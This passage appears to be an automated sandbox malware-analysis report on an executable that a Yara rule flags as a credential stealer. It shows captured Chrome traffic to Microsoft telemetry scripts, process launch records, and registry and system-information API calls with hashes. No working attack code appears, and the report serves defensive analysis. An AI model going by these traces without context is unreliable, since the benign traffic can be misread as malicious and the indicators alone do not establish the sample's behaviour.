2024-12-31 08:48:41 UTC	210	IN	Data Raw: 63 63 0d 0a 5a 6d 4c 30 49 56 6c 76 4a 52 6b 30 68 4e 52 37 52 30 45 70 4d 56 4b 35 4c 4e 4e 4b 6f 6d 39 62 6c 68 6d 50 51 78 46 30 63 6a 4d 39 47 64 5a 55 65 31 55 48 63 55 44 77 70 45 45 62 62 6e 55 65 59 34 45 5a 2f 58 69 54 57 6e 57 6e 4b 4c 78 74 49 45 49 75 48 41 6b 45 6b 6e 31 32 43 30 42 2f 47 75 47 73 48 6d 56 74 43 31 63 6d 6d 78 62 6a 5a 6f 41 4b 65 61 77 6f 38 6d 39 71 56 67 63 52 58 45 43 63 56 53 30 66 48 30 55 62 32 50 74 4b 66 33 51 48 41 32 4f 4d 41 75 4a 37 6b 55 46 71 6f 45 57 67 4c 48 63 53 4c 68 77 43 42 35 49 50 50 42 64 41 4f 78 69 6d 73 67 39 6c 65 78 6b 64 63 4e 77 4f 36 58 72 66 4d 67 3d 3d 0d 0a Data Ascii: ccZmL0IVlvJRk0hNR7R0EpMVK5LNNKom9blhmPQxF0cjM9GdZUe1UHcUDwpEEbbnUeY4EZ/XiTWnWnKLxtIEIuHAkEkn12C0B/GuGsHmVtC1cmmxbjZoAKeawo8m9qVgcRXECcVS0fH0Ub2PtKf3QHA2OMAuJ7kUFqoEWgLHcSLhwCB5IPPBdAOximsg9lexkdcNwO6XrfMg==
2024-12-31 08:48:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49819	13.107.246.44	443	7292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:56 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-31 08:48:57 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:56 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 275be117-b01e-0006-4a05-581325000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241231T084856Z-156796c549brlzq6hC1EWRqzy00000000bf0000000001e7e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-31 08:48:57 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-31 08:48:57 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Target ID:	0
Start time:	03:48:21
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\bzzF5OFbVi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bzzF5OFbVi.exe"
Imagebase:	0x40000
File size:	1'849'856 bytes
MD5 hash:	00FD88B1EADA904E06F23909F142CAF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2142166412.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:48:50
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:48:50
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1992,i,11309799112895090289,4020689570377967000,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:48:54
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:48:54
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=868 --field-trial-handle=2004,i,15948486807748839215,8579350651910807067,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 05EE347E Relevance: .0, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D40000, based on PE: true

Associated: 00000000.00000002.2399126371.0000000005D40000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005D4A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005FF3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006004000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d40000_bzzF5OFbVi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9086d2bfbd9b9a863ed44745aa5a01231bd2bb8b2a4f707d9edf0f0cba0470a
Instruction ID: 9deee8af6cc8084f8ec158d3df7c12f0a8b0f38fdabe884f2ca24ffbbd8bad71
Opcode Fuzzy Hash: a9086d2bfbd9b9a863ed44745aa5a01231bd2bb8b2a4f707d9edf0f0cba0470a
Instruction Fuzzy Hash: 17F059C16AE2860FC722623648565E97F124BA52217085E64C0C78FBC3E41AE54F9363

Function 05EDE1D8 Relevance: 4.6, APIs: 3, Instructions: 82
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05EDE220
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 05EDE247
GetNativeSystemInfo.KERNEL32(?), ref: 05EDE29E

Memory Dump Source

Source File: 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D40000, based on PE: true

Associated: 00000000.00000002.2399126371.0000000005D40000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005D4A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005FF3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006004000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d40000_bzzF5OFbVi.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 81029b86b5e0285e927df2072e881e2955df6974e31cf2469b46b77151fdca87
Instruction ID: bb4e5bf5e9a6eb6cddf9af86a977fd2ac4f1f5d150abcb3b4ab928ef0d1bb3cf
Opcode Fuzzy Hash: 81029b86b5e0285e927df2072e881e2955df6974e31cf2469b46b77151fdca87
Instruction Fuzzy Hash: A731F9B110414F9FEF11DF50C848BEF77AAFB04348F006429A98286950E7765CA9CF69

Non-executed Functions

Function 05EE4C01 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D40000, based on PE: true

Associated: 00000000.00000002.2399126371.0000000005D40000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005D4A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005FF3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006004000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d40000_bzzF5OFbVi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8f0c09e68676fc260addaeb7189765a57f7eeca454709053f4a87b2df51e7f
Instruction ID: ed1fb1f32492b0e795cf94cf5760e782962d01f0da03d39bfa1e0f6deae8ef92
Opcode Fuzzy Hash: 9a8f0c09e68676fc260addaeb7189765a57f7eeca454709053f4a87b2df51e7f
Instruction Fuzzy Hash: 2EE19CA290D3C25FDB134B748C792A5BFB0AF6B214F1E49DFC5C28A893E2585495CB43

Function 05EEACA0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D40000, based on PE: true

Associated: 00000000.00000002.2399126371.0000000005D40000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005D4A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005FF3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006004000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d40000_bzzF5OFbVi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c07b7fae639e8906439b20d62b1afdb88c583b1aa93f06275cad0a2605574ad
Instruction ID: 3cd72d5305e08047451d20d09c488da7b1e2401a8ef696cb8a91bb8cc6bbbc4f
Opcode Fuzzy Hash: 3c07b7fae639e8906439b20d62b1afdb88c583b1aa93f06275cad0a2605574ad
Instruction Fuzzy Hash: A23160F250C310AFE305AF58EC82ABAF7E9EF54320F16492DE7C582240E77558508B97

Function 05EE451D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D40000, based on PE: true

Associated: 00000000.00000002.2399126371.0000000005D40000.00000004.00000800.00020000.00000000.sdmpDownload File
